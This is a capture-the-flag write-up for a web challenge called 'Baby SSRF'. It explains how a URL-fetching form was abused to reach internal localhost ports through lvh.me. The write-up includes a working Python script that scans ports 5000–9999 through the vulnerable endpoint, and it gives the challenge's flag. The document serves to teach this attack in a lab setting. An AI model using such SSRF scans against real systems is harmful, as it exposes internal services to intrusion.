Web - Baby SSRF

Date: 09, June, 2021

Author: Dhilip Sanjay S

Category: Web


  • The request page in the website had a text box which accepted any valid URL.

  • On submitting, it was fetching and displaying the headers of the request made to website.

  • So, we must access some internal local server to get flag. (SSRF!)

  • And the hint says for i in range(5000,10000)

  • So, our flag must available in any of the headers of the following local ports.

  • To redirect to localhost:

    • Use lvh.me (or)

    • Develop a custom server and combine it with ngrok

Exploit

#! /usr/bin/python3

import requests

url = "http://web.zh3r0.cf:1111/request"
payloadURL = "http://lvh.me" # Redirects to localhost
req = requests.session()

for port in range(5000,10000):
	data = {"url" :  payloadURL + ":{}".format(str(port))}
	print("[+] Trying Port {}".format(str(port)))
	
	r = req.post(url, data)
	if "zh3r0" in r.text:
		print(r.text)
		break
  • Run the exploit

Flag

zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}


Last updated